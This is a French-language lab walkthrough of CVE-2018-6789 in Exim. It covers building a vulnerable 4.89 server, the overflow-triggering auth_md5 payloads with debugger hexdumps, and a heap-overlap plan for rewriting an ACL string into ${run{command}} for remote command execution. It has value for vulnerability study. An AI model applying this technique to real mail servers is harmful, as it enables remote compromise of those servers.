
Exploit pour CVE-2018-6789, un débordement de tampon de tas dans le décodage base64 d'Exim, permettant l'exécution de code à distance via le chevauchement de blocs et la manipulation de chaînes ACL.
Installer les dépendances
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Télécharger une ancienne version de exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Modifier ensuite Local/Makefile Pour plus de commodité, tous les répertoires pointent vers le répertoire courant
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Cela facilite le débogage Puis compiler et installer
make install
Modifier ./configure, le remplacer directement par le contenu ci-dessous
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Tout d'abord, analyser le patch dans base64.c :
où result est le buffer de stockage du résultat du décodage base64, obtenu par la fonction store_get
On peut remarquer que le calcul de size avant le patch est problématique : lorsque size est dans la plage 4n~4n+3, la longueur calculée de size est égale, mais lors du décodage d'un paramètre qui n'est pas un multiple de 4, b64decode décode un ou deux octets supplémentaires
Par exemple, envoyons directement
auth_md5('Hf'*42)
size=0x40
Répartition mémoire :
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Essayons à nouveau
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Débordement de deux octets
Pour améliorer les performances, Exim implémente son propre mécanisme de gestion mémoire au-dessus de la gestion de tas existante. Il agit comme un tampon intermédiaire entre le code et glibc, dans le but de réduire le nombre d'appels à malloc et free
Pour Exim, un bloc de tas individuel est appelé storeblock. Chaque fois qu'un buffer de taille appropriée est nécessaire, il est découpé à l'intérieur du storeblock. Si un storeblock est épuisé, un nouveau storeblock est alloué via malloc.
Pour chaque storeblock, sa structure est une simple liste chaînée :
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Les principales API utilisées pour la manipulation du tas se trouvent dans store.c :
store_get
store_release
store_extend
store_reset
Parmi elles, store_get est utilisée pour obtenir un buffer. Voici le code clé :
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
On voit que la longueur minimale d'un store_block demandé est STORE_BLOCK_SIZE, soit 8192
Donc un store_block de taille 8192, avec son en-tête de structure et l'en-tête du tas, a une taille totale de 0x2020

Lorsqu'Exim exécute une commande envoyée par le client, si la commande est exécutée avec succès, il appelle store_reset pour libérer les caches inutiles et les store_block supplémentaires. Ici, "exécutée avec succès" signifie que le format de la commande est correct, que l'adresse e-mail ne contient pas de caractères invalides, etc. Sinon, store_reset n'est pas appelé.
Cette vulnérabilité est un off-by-one classique (bien qu'en réalité on puisse déborder de deux octets), mais comme le nombre d'octets débordés est faible, il n'est pas possible de modifier directement des structures sensibles sur le tas. Il faut donc exploiter certaines propriétés de ptmalloc pour amplifier l'impact de cette vulnérabilité, en la transformant en un débordement plus large, ou en overlap. Pour les vulnérabilités off-by-one, il existe une technique classique : chunk enlarge -> chunk overlap. En modifiant la taille d'un chunk pour l'agrandir, puis en forgeant un en-tête de tas pour contourner les vérifications de cohérence de glibc, on obtient un recouvrement de chunks permettant un débordement plus large.
Le processus principal est : chunk enlarge -> chunk overlap -> corrompre le pointeur next dans le storeblock, puis déclencher store_reset pour libérer un chunk arbitraire. En réallouant ce chunk, on peut modifier son contenu (type confusion). meh recommande dans son article de modifier le chunk contenant la chaîne ACL, car le traitement des chaînes ACL inclut une fonction d'exécution de commandes. Il y a beaucoup de chaînes ACL, mais la plupart sont NULL (peut-être en rapport avec le fichier de configuration). J'ai choisi la chaîne acl_smtp_mail. La syntaxe pour exécuter une commande est :
${run{command}}
La disposition approximative du tas est la suivante :

Le premier chunk est celui obtenu par le décodage base64, utilisé pour le off-by-one. Il doit donc se trouver à la fin d'un storeblock. Pour simplifier, on alloue directement un chunk de taille supérieure à 0x2020 pour stocker le résultat du décodage base64. Le deuxième chunk est sender_helo_name, utilisé pour recouvrir le chunk suivant. sender_helo_name n'est pas stocké dans un storeblock, mais alloué directement via malloc :
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Sa taille est donc libre. Le troisième chunk est un autre chunk obtenu par décodage base64, principalement utilisé pour forger l'en-tête et être recouvert. Il doit donc se trouver au début d'un storeblock. Pour simplifier, on alloue également une taille de 0x2020.